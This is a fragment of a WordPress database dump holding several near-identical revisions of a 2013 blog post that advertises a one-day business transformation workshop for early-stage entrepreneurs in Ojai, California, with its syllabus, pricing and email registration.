(2273, 2, '2013-05-22 19:46:08', '2013-05-23 02:46:08', '<img class="alignnone size-full wp-image-2262" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n<h1><span style="color: #808080;">Quantum Leap Business Transformation Workshop for Early Stage Entrepreneurs and Solo Professionals, Novemeber 8th 2013.</span></h1>\r\n<h2>With so much continued economic uncertainty challenging even the most optimistic and success minded entrepreneurs, business development strategies and action are more critical than ever. If you’ve been thinking about how to take your business to the next level, consider taking a quantum leap.</h2>\r\nA quantum leap is a jump in progress that is exponential rather incremental.  As creative entrepreneurs seek ways to bring new value to the marketplace, many early stage entrepreneurs and solo professionals need insight and guidance to create a strong foundation on which to build their success in this rapidly changing digital age.\r\n\r\nWith that in mind, I am pleased to announce the White Hot Center will once again present its one-day, intensive strategic workshop on creating competitive advantage in your business. If you’re an early stage entrepreneur or solo professional building your business, you won’t want to miss participating in this business transformation opportunity.\r\n\r\n<strong>Breaking the plateau effect.</strong>\r\n\r\nIf you’re stuck, chances are you’ve hit a plateau. The plateau effect is a common state of being in every human endeavor. If you’re growing, eventually you’ll hit a plateau where whatever action got you to the level you’re currently at, it won’t be enough to elevate you to the next level. Breaking the plateau effect is an ongoing stair step process of developing new thinking and actions that have nothing to do with the actions you believe were successful in getting you to this moment. Has it occurred to you that it is possible to skip ahead a few levels?\r\n\r\nThe purpose of our work together will be to equip you with new insights and the tools necessary to break the plateau effect you’re currently experiencing.\r\n\r\n<strong>Creating competitive advantage in your business.</strong>\r\n\r\nThis educational workshop will enable you to gain the knowledge to create real preference for your offerings. To accomplish this, your business must represent a highly valued idea that matters to high value clients and is not available through your competitors. And more importantly, this idea of value your business represents in the minds of your target customers is worthy of commanding premium pricing. It''s no fun clawing your way to the middle!\r\n\r\n<strong>What you’ll learn in the Quantum Leap Business Transformation Workshop.</strong>\r\n\r\nLike the name implies, this is a strategic workshop designed to give you the power to transform your business immediately and exponentially. Here’s what will learn:\r\n\r\n-       The discipline of a success-based mindset. Your thinking habits must change to advance your business to the next level and beyond. (Jedi level stuff)\r\n\r\n-       Build your vision for a bigger future. You must have clarity and confidence in your value creation ideas and vision for the future.\r\n\r\n-       Uncovering your value. Discover the real reasons customers/clients buy from you rather than your competitors.\r\n\r\n-       Identify the components underlying your value proposition. Why do you and your business matter to people.\r\n\r\n-       Creating a value proposition and a strategic positioning statement that separates your business from the slush pile and informs and guides your actions and behavior.\r\n\r\n-       Identifying the qualities and attributes of higher value clients. Increase your value to the right people and make more money doing less. (read that sentence again)\r\n\r\n-       Discover your Genius. The holy grail of personal productivity and effectiveness.\r\n\r\n-       Building your brand to elevate the quality of your presence in the marketplace.\r\n\r\n<strong>Who should attend the Quantum Leap Workshop.</strong>\r\n\r\nThis workshop has been designed specifically for early stage entrepreneurs and solo professionals who have been in business less than two years. Typically participants generate gross incomes of up to $100,000 annually– but they want to double or triple their current income levels. Participants come from diverse business categories in consumer products, business-to-business products, and professional services.\r\n\r\n<strong>The Workshop Date</strong>\r\n\r\nThe workshop will be held November 8th, 2013.\r\n\r\n<strong>The Venue</strong>\r\n\r\nI will announce the venue in Ojai, California on or before August 31, 2013. The workshop will be held in a very special retreat setting and location. The workshop will include a luncheon and snacks and beverages will be provided throughout the day.\r\n\r\n<strong>Investment:</strong>\r\n\r\n$995.00 USD per person\r\n\r\nSpecial discount of $100 off for early registration prior to September 30, 2013\r\n\r\nAdditional discount of $50 off for each additional person in your firm prior to September 30, 2013.\r\n\r\nTuition fee must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop. Tuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n<h2><strong>Early Registration</strong></h2>\r\n<h2><strong>Send me an email and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly. This workshop is limited to 24 participants.</strong></h2>\r\n<h2><strong>Early Register is Open Now!</strong></h2>', 'Break the Plateau Effect and Transform Your Business for a Bigger Future.', 0, '', 'inherit', 'open', 'open', '', '2261-revision-11', '', '', '2013-05-22 19:46:08', '2013-05-23 02:46:08', '', 2261, 'http://www.whitehotcenter.com/2013/05/2261-revision-11/', 0, 'revision', '', 0),
(2274, 2, '2013-05-22 20:09:10', '2013-05-23 03:09:10', '<img class="alignnone size-full wp-image-2262" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/WHC-Quantum.jpg" alt="" width="490" height="363" />\n<h1><span style="color: #808080;">Quantum Leap Business Transformation Workshop for Early Stage Entrepreneurs and Solo Professionals, Novemeber 8th 2013.</span></h1>\n<h2>With so much continued economic uncertainty challenging even the most optimistic and success minded entrepreneurs, business development strategies and action are more critical than ever. If you’ve been thinking about how to take your business to the next level, consider taking a quantum leap.</h2>\nA quantum leap is a jump in progress that is exponential rather incremental.  As creative entrepreneurs seek ways to bring new value to the marketplace, many early stage entrepreneurs and solo professionals need insight and guidance to create a strong foundation on which to build their success in this rapidly changing digital age.\n\nWith that in mind, I am pleased to announce the White Hot Center will once again present its one-day, intensive strategic workshop on creating competitive advantage in your business. If you’re an early stage entrepreneur or solo professional building your business, you won’t want to miss participating in this business transformation opportunity.\n\n<strong>Breaking the plateau effect.</strong>\n\nIf you’re stuck, chances are you’ve hit a plateau. The plateau effect is a common state of being in every human endeavor. If you’re growing, eventually you’ll hit a plateau where whatever action got you to the level you’re currently at, it won’t be enough to elevate you to the next level. Breaking the plateau effect is an ongoing stair step process of developing new thinking and actions that have nothing to do with the actions you believe were successful in getting you to this moment. Has it occurred to you that it is possible to skip ahead a few levels?\n\nThe purpose of our work together will be to equip you with new insights and the tools necessary to break the plateau effect you’re currently experiencing.\n\n<strong>Creating competitive advantage in your business.</strong>\n\nThis educational workshop will enable you to gain the knowledge to create real preference for your offerings. To accomplish this, your business must represent a highly valued idea that matters to high value clients and is not available through your competitors. And more importantly, this idea of value your business represents in the minds of your target customers is worthy of commanding premium pricing. It''s no fun clawing your way to the middle!\n\n<strong>What you’ll learn in the Quantum Leap Business Transformation Workshop.</strong>\n\nLike the name implies, this is a strategic workshop designed to give you the power to transform your business immediately and exponentially. Here’s what you will learn to create competitive advantage in your business:\n\n-       The principles and discipline of a success-based mindset. Your thinking habits must change to advance your business to the next level and beyond. (real Jedi level stuff)\n\n-       Build your vision for your bigger future. You must have clarity and confidence in your value creation vision for the future anf the actions necessary to turn possibility into acheivement.\n\n-       Uncovering your value. Discover the real reasons customers/clients buy from you rather than your competitors and how to command premium pricing.\n\n-       Identify the components underlying your value proposition. Why do you and your business matter to people. HInt: It begins with your purpose beyond money-making.\n\n-       Creating a value proposition and a strategic positioning that informs and guides your actions and behavior to separate your business from the slush pile.\n\n-       Identifying the qualities and attributes of higher value clients. Increase your value to the right people and make more money doing less. (Please read that sentence again)\n\n-       Discover your Genius. The holy grail of personal productivity and effectiveness.\n\n-       Building your brand to elevate the quality of your presence in the marketplace.\n<h2>Check out the <a title="Competitive Advantage Video Thomson Dawson" href="http://www.youtube.com/watch?v=ZhBhjF7ocW0&amp;feature=youtu.be" target="_blank">video</a>. It will give you a good idea of what ideas will be working on together!</h2>\n<strong>Who should attend the Quantum Leap Workshop.</strong>\n\nThis workshop has been designed specifically for early stage entrepreneurs and solo professionals who are languishing on a plateau. Typically participants generate gross incomes of up to $100,000 annually– but they want to double or triple their current income levels. Participants come from diverse business categories in consumer products, business-to-business products, and professional services like health care, education, management consulting, accounting, law, engineering, marketing and creative services.\n\n<strong>The Workshop Date</strong>\n\nThe workshop will be held November 8th, 2013.\n\n<strong>The Venue</strong>\n\nI will announce the venue in Ojai, California on or before August 31, 2013. (still working out the details at this writing) The workshop will be held in a very special retreat setting and location. Our eenvironment will be supportive of your creativity and innovation. This is extremely important to me to provide a venue thaat support us all! The workshop will include a fabulous luncheon with snacks and beverages provided throughout the day.\n\n<strong>Investment:</strong>\n\n$995.00 USD per person\n\nSpecial discount of $100 off for early registration prior to September 30, 2013\n\nAdditional discount of $50 off for each additional personattending from your firm prior to September 30, 2013.\n\nFull Tuition Fee must be paid 30 days in advance of the Workshop. A deposit of half the tuition is required to confirm your spot. No refunds or credits within 14 days of the workshop. Tuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\n<h2><strong>Early Registration</strong></h2>\n<h2><strong>Send me an <a title="QUantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly. This workshop is limited to 24 participants.</strong></h2>\n<h2><strong>Early Register is Open Now!</strong></h2>', 'Break the Plateau Effect and Transform Your Business for a Bigger Future.', 0, '', 'inherit', 'open', 'open', '', '2261-revision-12', '', '', '2013-05-22 20:09:10', '2013-05-23 03:09:10', '', 2261, 'http://www.whitehotcenter.com/2013/05/2261-revision-12/', 0, 'revision', '', 0),
(2275, 2, '2013-05-22 20:09:40', '2013-05-23 03:09:40', '<img class="alignnone size-full wp-image-2262" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n<h1><span style="color: #808080;">Quantum Leap Business Transformation Workshop for Early Stage Entrepreneurs and Solo Professionals, Novemeber 8th 2013.</span></h1>\r\n<h2>With so much continued economic uncertainty challenging even the most optimistic and success minded entrepreneurs, business development strategies and action are more critical than ever. If you’ve been thinking about how to take your business to the next level, consider taking a quantum leap.</h2>\r\nA quantum leap is a jump in progress that is exponential rather incremental.  As creative entrepreneurs seek ways to bring new value to the marketplace, many early stage entrepreneurs and solo professionals need insight and guidance to create a strong foundation on which to build their success in this rapidly changing digital age.\r\n\r\nWith that in mind, I am pleased to announce the White Hot Center will once again present its one-day, intensive strategic workshop on creating competitive advantage in your business. If you’re an early stage entrepreneur or solo professional building your business, you won’t want to miss participating in this business transformation opportunity.\r\n\r\n<strong>Breaking the plateau effect.</strong>\r\n\r\nIf you’re stuck, chances are you’ve hit a plateau. The plateau effect is a common state of being in every human endeavor. If you’re growing, eventually you’ll hit a plateau where whatever action got you to the level you’re currently at, it won’t be enough to elevate you to the next level. Breaking the plateau effect is an ongoing stair step process of developing new thinking and actions that have nothing to do with the actions you believe were successful in getting you to this moment. Has it occurred to you that it is possible to skip ahead a few levels?\r\n\r\nThe purpose of our work together will be to equip you with new insights and the tools necessary to break the plateau effect you’re currently experiencing.\r\n\r\n<strong>Creating competitive advantage in your business.</strong>\r\n\r\nThis educational workshop will enable you to gain the knowledge to create real preference for your offerings. To accomplish this, your business must represent a highly valued idea that matters to high value clients and is not available through your competitors. And more importantly, this idea of value your business represents in the minds of your target customers is worthy of commanding premium pricing. It''s no fun clawing your way to the middle!\r\n\r\n<strong>What you’ll learn in the Quantum Leap Business Transformation Workshop.</strong>\r\n\r\nLike the name implies, this is a strategic workshop designed to give you the power to transform your business immediately and exponentially. Here’s what you will learn to create competitive advantage in your business:\r\n\r\n-       The principles and discipline of a success-based mindset. Your thinking habits must change to advance your business to the next level and beyond. (real Jedi level stuff)\r\n\r\n-       Build your vision for your bigger future. You must have clarity and confidence in your value creation vision for the future anf the actions necessary to turn possibility into acheivement.\r\n\r\n-       Uncovering your value. Discover the real reasons customers/clients buy from you rather than your competitors and how to command premium pricing.\r\n\r\n-       Identify the components underlying your value proposition. Why do you and your business matter to people. HInt: It begins with your purpose beyond money-making.\r\n\r\n-       Creating a value proposition and a strategic positioning that informs and guides your actions and behavior to separate your business from the slush pile.\r\n\r\n-       Identifying the qualities and attributes of higher value clients. Increase your value to the right people and make more money doing less. (Please read that sentence again)\r\n\r\n-       Discover your Genius. The holy grail of personal productivity and effectiveness.\r\n\r\n-       Building your brand to elevate the quality of your presence in the marketplace.\r\n<h2>Check out the <a title="Competitive Advantage Video Thomson Dawson" href="http://www.youtube.com/watch?v=ZhBhjF7ocW0&amp;feature=youtu.be" target="_blank">video</a>. It will give you a good idea of the ideas and principles we''ll be working on together!</h2>\r\n<strong>Who should attend the Quantum Leap Workshop.</strong>\r\n\r\nThis workshop has been designed specifically for early stage entrepreneurs and solo professionals who are languishing on a plateau. Typically participants generate gross incomes of up to $100,000 annually– but they want to double or triple their current income levels. Participants come from diverse business categories in consumer products, business-to-business products, and professional services like health care, education, management consulting, accounting, law, engineering, marketing and creative services.\r\n\r\n<strong>The Workshop Date</strong>\r\n\r\nThe workshop will be held November 8th, 2013.\r\n\r\n<strong>The Venue</strong>\r\n\r\nI will announce the venue in Ojai, California on or before August 31, 2013. (still working out the details at this writing) The workshop will be held in a very special retreat setting and location. Our eenvironment will be supportive of your creativity and innovation. This is extremely important to me to provide a venue thaat support us all! The workshop will include a fabulous luncheon with snacks and beverages provided throughout the day.\r\n\r\n<strong>Investment:</strong>\r\n\r\n$995.00 USD per person\r\n\r\nSpecial discount of $100 off for early registration prior to September 30, 2013\r\n\r\nAdditional discount of $50 off for each additional personattending from your firm prior to September 30, 2013.\r\n\r\nFull Tuition Fee must be paid 30 days in advance of the Workshop. A deposit of half the tuition is required to confirm your spot. No refunds or credits within 14 days of the workshop. Tuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n<h2><strong>Early Registration</strong></h2>\r\n<h2><strong>Send me an <a title="QUantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly. This workshop is limited to 24 participants.</strong></h2>\r\n<h2><strong>Early Register is Open Now!</strong></h2>', 'Break the Plateau Effect and Transform Your Business for a Bigger Future.', 0, '', 'inherit', 'open', 'open', '', '2261-revision-13', '', '', '2013-05-22 20:09:40', '2013-05-23 03:09:40', '', 2261, 'http://www.whitehotcenter.com/2013/05/2261-revision-13/', 0, 'revision', '', 0),
(2276, 2, '2013-05-22 20:09:51', '2013-05-23 03:09:51', '<img class="alignnone size-full wp-image-2262" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n<h1><span style="color: #808080;">Quantum Leap Business Transformation Workshop for Early Stage Entrepreneurs and Solo Professionals, Novemeber 8th 2013.</span></h1>\r\n<h2>With so much continued economic uncertainty challenging even the most optimistic and success minded entrepreneurs, business development strategies and action are more critical than ever. If you’ve been thinking about how to take your business to the next level, consider taking a quantum leap.</h2>\r\nA quantum leap is a jump in progress that is exponential rather incremental.  As creative entrepreneurs seek ways to bring new value to the marketplace, many early stage entrepreneurs and solo professionals need insight and guidance to create a strong foundation on which to build their success in this rapidly changing digital age.\r\n\r\nWith that in mind, I am pleased to announce the White Hot Center will once again present its one-day, intensive strategic workshop on creating competitive advantage in your business. If you’re an early stage entrepreneur or solo professional building your business, you won’t want to miss participating in this business transformation opportunity.\r\n\r\n<strong>Breaking the plateau effect.</strong>\r\n\r\nIf you’re stuck, chances are you’ve hit a plateau. The plateau effect is a common state of being in every human endeavor. If you’re growing, eventually you’ll hit a plateau where whatever action got you to the level you’re currently at, it won’t be enough to elevate you to the next level. Breaking the plateau effect is an ongoing stair step process of developing new thinking and actions that have nothing to do with the actions you believe were successful in getting you to this moment. Has it occurred to you that it is possible to skip ahead a few levels?\r\n\r\nThe purpose of our work together will be to equip you with new insights and the tools necessary to break the plateau effect you’re currently experiencing.\r\n\r\n<strong>Creating competitive advantage in your business.</strong>\r\n\r\nThis educational workshop will enable you to gain the knowledge to create real preference for your offerings. To accomplish this, your business must represent a highly valued idea that matters to high value clients and is not available through your competitors. And more importantly, this idea of value your business represents in the minds of your target customers is worthy of commanding premium pricing. It''s no fun clawing your way to the middle!\r\n\r\n<strong>What you’ll learn in the Quantum Leap Business Transformation Workshop.</strong>\r\n\r\nLike the name implies, this is a strategic workshop designed to give you the power to transform your business immediately and exponentially. Here’s what you will learn to create competitive advantage in your business:\r\n\r\n-       The principles and discipline of a success-based mindset. Your thinking habits must change to advance your business to the next level and beyond. (real Jedi level stuff)\r\n\r\n-       Build your vision for your bigger future. You must have clarity and confidence in your value creation vision for the future anf the actions necessary to turn possibility into acheivement.\r\n\r\n-       Uncovering your value. Discover the real reasons customers/clients buy from you rather than your competitors and how to command premium pricing.\r\n\r\n-       Identify the components underlying your value proposition. Why do you and your business matter to people. HInt: It begins with your purpose beyond money-making.\r\n\r\n-       Creating a value proposition and a strategic positioning that informs and guides your actions and behavior to separate your business from the slush pile.\r\n\r\n-       Identifying the qualities and attributes of higher value clients. Increase your value to the right people and make more money doing less. (Please read that sentence again)\r\n\r\n-       Discover your Genius. The holy grail of personal productivity and effectiveness.\r\n\r\n-       Building your brand to elevate the quality of your presence in the marketplace.\r\n<h2>Check out the <a title="Competitive Advantage Video Thomson Dawson" href="http://www.youtube.com/watch?v=ZhBhjF7ocW0&amp;feature=youtu.be" target="_blank">video</a>. It will give you a good idea of the ideas and principles we''ll be working on together!</h2>\r\n<strong>Who should attend the Quantum Leap Workshop.</strong>\r\n\r\nThis workshop has been designed specifically for early stage entrepreneurs and solo professionals who are languishing on a plateau. Typically participants generate gross incomes of up to $100,000 annually– but they want to double or triple their current income levels. Participants come from diverse business categories in consumer products, business-to-business products, and professional services like health care, education, management consulting, accounting, law, engineering, marketing and creative services.\r\n\r\n<strong>The Workshop Date</strong>\r\n\r\nThe workshop will be held November 8th, 2013.\r\n\r\n<strong>The Venue</strong>\r\n\r\nI will announce the venue in Ojai, California on or before August 31, 2013. (still working out the details at this writing) The workshop will be held in a very special retreat setting and location. Our eenvironment will be supportive of your creativity and innovation. This is extremely important to me to provide a venue thaat support us all! The workshop will include a fabulous luncheon with snacks and beverages provided throughout the day.\r\n\r\n<strong>Investment:</strong>\r\n\r\n$995.00 USD per person\r\n\r\nSpecial discount of $100 off for early registration prior to September 30, 2013\r\n\r\nAdditional discount of $50 off for each additional personattending from your firm prior to September 30, 2013.\r\n\r\nFull Tuition Fee must be paid 30 days in advance of the Workshop. A deposit of half the tuition is required to confirm your spot. No refunds or credits within 14 days of the workshop. Tuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n<h2><strong>Early Registration</strong></h2>\r\n<h2><strong>Send me an <a title="QUantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly. This workshop is limited to 24 participants.</strong></h2>\r\n<h2><strong>Early Register is Open Now!</strong></h2>', 'Break the Plateau Effect and Transform Your Business for a Bigger Future.', 0, '', 'inherit', 'open', 'open', '', '2261-revision-14', '', '', '2013-05-22 20:09:51', '2013-05-23 03:09:51', '', 2261, 'http://www.whitehotcenter.com/2013/05/2261-revision-14/', 0, 'revision', '', 0),
(2279, 2, '2013-05-22 20:40:26', '2013-05-23 03:40:26', '<img class="alignnone size-full wp-image-2262" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/WHC-Quantum.jpg" alt="" width="490" height="363" />\n<h1><span style="color: #808080;">Quantum Leap Business Transformation Workshop for Early Stage Entrepreneurs and Solo Professionals, Novemeber 8th 2013.</span></h1>\n<h2>With so much continued economic uncertainty challenging even the most optimistic and success minded entrepreneurs, business development strategies and action are more critical than ever. If you’ve been thinking about how to take your business to the next level, consider taking a quantum leap.</h2>\nA quantum leap is a jump in progress that is exponential rather incremental.  With all the economic uncertainty surrounding us in the digital age, many early stage entrepreneurs and solo professionals struggle to create a strong foundation on which to build their success. Many are stuck and can''t find the key that unlocks their ability to transform their current circumstances.\n\nWith that in mind, I am pleased to announce the White Hot Center will once again present its one-day, intensive strategic workshop on creating competitive advantage in your business. If you’re an early stage entrepreneur or solo professional building your business, you won’t want to miss participating in this business transformation opportunity.\n\n<strong>Breaking the plateau effect.</strong>\n\nIf you’re stuck, you’ve hit a plateau. The plateau effect is a common state of being in every human endeavor. If you’re growing, eventually you’ll hit a plateau where whatever action got you to the level you’re currently at, it won’t be enough to elevate you to the next level. Breaking the plateau effect is an ongoing stair step process of developing new thinking and actions that have nothing to do with the actions you believe were successful in getting you to this moment.  It is possible to skip ahead a few levels!\n\nThe purpose of our work together will be to equip you with new insights and the tools necessary to break the plateau effect you’re currently experiencing.\n\n<strong>Creating competitive advantage in your business.</strong>\n\nThis educational workshop will enable you to gain the knowledge to create real preference for your offerings. To accomplish this, your business must represent a highly valued idea that matters to high value clients and is not available through your competitors. And more importantly, this idea of value your business represents in the minds of your target customers is worthy of commanding premium pricing. It''s no fun clawing your way to the middle!\n\n<strong>What you’ll learn in the Quantum Leap Business Transformation Workshop.</strong>\n\nLike the name implies, this is a strategic workshop designed to give you the power to transform your business immediately and exponentially. There are elements of learning in this strategic workshop that I only offer to executives in global companies. I share critical "first principles" that many early stage entrepreneurs are simply not exposed to. Here’s what you will learn to create competitive advantage in your business:\n\n-       The principles and discipline of a success-based mindset. Your thinking habits must change to advance your business to the next level and beyond. (real Jedi level stuff)\n\n-       Build your vision for your bigger future. You must have clarity and confidence in your value creation vision for the future anf the actions necessary to turn possibility into acheivement.\n\n-       Uncovering your value. Discover the real reasons customers/clients buy from you rather than your competitors and how to command premium pricing.\n\n-       Identify the components underlying your value proposition. Why do you and your business matter to people? HInt: It begins with your purpose beyond money-making.\n\n-       Creating a value proposition and a strategic positioning that informs and guides all your action and behavior to separate your business from the slush pile.\n\n-       Identifying the qualities and attributes of higher value clients. Increase your value to the right people and make more money doing less. (Please read that sentence again)\n\n-       Discover your Genius. The holy grail of personal productivity and effectiveness.\n\n-      The right strategies and tactics to build your brand and elevate the quality of your presence in the marketplace.\n<h2>Check out the <a title="Competitive Advantage Video Thomson Dawson" href="http://www.youtube.com/watch?v=ZhBhjF7ocW0&amp;feature=youtu.be" target="_blank">video</a>. It will give you a good idea of the "first principles" we''ll be working on together!</h2>\n<strong>Who should attend the Quantum Leap Workshop.</strong>\n\nThis workshop has been designed specifically for early stage entrepreneurs and solo professionals who are languishing on a plateau. Typically participants generate gross incomes of up to $100,000 annually– but they want to double or triple their current income levels. Participants come from diverse business categories in consumer products, business-to-business products, and professional services like health care, education, management consulting, accounting, law, engineering, marketing and creative services.\n\n<strong>The Workshop Date</strong>\n\nThe workshop will be held November 8th, 2013.\n\n<strong>The Venue</strong>\n\nI will announce the venue in Ojai, California on or before August 31, 2013. (Still working out the details at this writing) The workshop will be held in a very special retreat setting and location. Our environment will be supportive of your creativity and innovation. This is extremely important to me to provide a venue that support us all! The workshop will include a fabulous luncheon with snacks and beverages provided throughout the day.\n\n<strong>Investment:</strong>\n\n$995.00 USD per person\n\nSpecial discount of $100 off for early registration prior to September 30, 2013\n\nAdditional discount of $50 off for each additional personattending from your firm prior to September 30, 2013.\n\nFull Tuition Fee must be paid 30 days in advance of the Workshop. A deposit of half the tuition is required to confirm your spot. No refunds or credits within 14 days of the workshop. Tuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\n<h2><strong>Early Registration</strong></h2>\n<h2><strong>Send me an <a title="QUantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly. This workshop is limited to 24 participants.</strong></h2>\n<h2><strong>Early Register is Open Now!</strong></h2>', 'Break the Plateau Effect and Transform Your Business for a Bigger Future.', 0, '', 'inherit', 'open', 'open', '', '2261-revision-17', '', '', '2013-05-22 20:40:26', '2013-05-23 03:40:26', '', 2261, 'http://www.whitehotcenter.com/2013/05/2261-revision-17/', 0, 'revision', '', 0);
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(2277, 2, '2013-05-22 20:33:41', '2013-05-23 03:33:41', '<img class="alignnone size-full wp-image-2262" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n<h1><span style="color: #808080;">Quantum Leap Business Transformation Workshop for Early Stage Entrepreneurs and Solo Professionals, Novemeber 8th 2013.</span></h1>\r\n<h2>With so much continued economic uncertainty challenging even the most optimistic and success minded entrepreneurs, business development strategies and action are more critical than ever. If you’ve been thinking about how to take your business to the next level, consider taking a quantum leap.</h2>\r\nA quantum leap is a jump in progress that is exponential rather incremental.  With all the economic uncertainty surrounding us in the digital age, many early stage entrepreneurs and solo professionals struggle to create a strong foundation on which to build their success. Many are stuck and can''t find the key that unlocks their ability to transform their current circumstances.\r\n\r\nWith that in mind, I am pleased to announce the White Hot Center will once again present its one-day, intensive strategic workshop on creating competitive advantage in your business. If you’re an early stage entrepreneur or solo professional building your business, you won’t want to miss participating in this business transformation opportunity.\r\n\r\n<strong>Breaking the plateau effect.</strong>\r\n\r\nIf you’re stuck, you’ve hit a plateau. The plateau effect is a common state of being in every human endeavor. If you’re growing, eventually you’ll hit a plateau where whatever action got you to the level you’re currently at, it won’t be enough to elevate you to the next level. Breaking the plateau effect is an ongoing stair step process of developing new thinking and actions that have nothing to do with the actions you believe were successful in getting you to this moment.  It is possible to skip ahead a few levels!\r\n\r\nThe purpose of our work together will be to equip you with new insights and the tools necessary to break the plateau effect you’re currently experiencing.\r\n\r\n<strong>Creating competitive advantage in your business.</strong>\r\n\r\nThis educational workshop will enable you to gain the knowledge to create real preference for your offerings. To accomplish this, your business must represent a highly valued idea that matters to high value clients and is not available through your competitors. And more importantly, this idea of value your business represents in the minds of your target customers is worthy of commanding premium pricing. It''s no fun clawing your way to the middle!\r\n\r\n<strong>What you’ll learn in the Quantum Leap Business Transformation Workshop.</strong>\r\n\r\nLike the name implies, this is a strategic workshop designed to give you the power to transform your business immediately and exponentially. There are elements of learning in this strategic workshop that I only offer to executives in global companies. I share critical "first principles" that many early stage entrepreneurs are simply not exposed to. Here’s what you will learn to create competitive advantage in your business:\r\n\r\n-       The principles and discipline of a success-based mindset. Your thinking habits must change to advance your business to the next level and beyond. (real Jedi level stuff)\r\n\r\n-       Build your vision for your bigger future. You must have clarity and confidence in your value creation vision for the future anf the actions necessary to turn possibility into acheivement.\r\n\r\n-       Uncovering your value. Discover the real reasons customers/clients buy from you rather than your competitors and how to command premium pricing.\r\n\r\n-       Identify the components underlying your value proposition. Why do you and your business matter to people? HInt: It begins with your purpose beyond money-making.\r\n\r\n-       Creating a value proposition and a strategic positioning that informs and guides all your action and behavior to separate your business from the slush pile.\r\n\r\n-       Identifying the qualities and attributes of higher value clients. Increase your value to the right people and make more money doing less. (Please read that sentence again)\r\n\r\n-       Discover your Genius. The holy grail of personal productivity and effectiveness.\r\n\r\n-      The right strategies and tactics to build your brand and elevate the quality of your presence in the marketplace.\r\n<h2>Check out the <a title="Competitive Advantage Video Thomson Dawson" href="http://www.youtube.com/watch?v=ZhBhjF7ocW0&amp;feature=youtu.be" target="_blank">video</a>. It will give you a good idea of the "first principles" we''ll be working on together!</h2>\r\n<strong>Who should attend the Quantum Leap Workshop.</strong>\r\n\r\nThis workshop has been designed specifically for early stage entrepreneurs and solo professionals who are languishing on a plateau. Typically participants generate gross incomes of up to $100,000 annually– but they want to double or triple their current income levels. Participants come from diverse business categories in consumer products, business-to-business products, and professional services like health care, education, management consulting, accounting, law, engineering, marketing and creative services.\r\n\r\n<strong>The Workshop Date</strong>\r\n\r\nThe workshop will be held November 8th, 2013.\r\n\r\n<strong>The Venue</strong>\r\n\r\nI will announce the venue in Ojai, California on or before August 31, 2013. (still working out the details at this writing) The workshop will be held in a very special retreat setting and location. Our eenvironment will be supportive of your creativity and innovation. This is extremely important to me to provide a venue thaat support us all! The workshop will include a fabulous luncheon with snacks and beverages provided throughout the day.\r\n\r\n<strong>Investment:</strong>\r\n\r\n$995.00 USD per person\r\n\r\nSpecial discount of $100 off for early registration prior to September 30, 2013\r\n\r\nAdditional discount of $50 off for each additional personattending from your firm prior to September 30, 2013.\r\n\r\nFull Tuition Fee must be paid 30 days in advance of the Workshop. A deposit of half the tuition is required to confirm your spot. No refunds or credits within 14 days of the workshop. Tuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n<h2><strong>Early Registration</strong></h2>\r\n<h2><strong>Send me an <a title="QUantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly. This workshop is limited to 24 participants.</strong></h2>\r\n<h2><strong>Early Register is Open Now!</strong></h2>', 'Break the Plateau Effect and Transform Your Business for a Bigger Future.', 0, '', 'inherit', 'open', 'open', '', '2261-revision-15', '', '', '2013-05-22 20:33:41', '2013-05-23 03:33:41', '', 2261, 'http://www.whitehotcenter.com/2013/05/2261-revision-15/', 0, 'revision', '', 0),
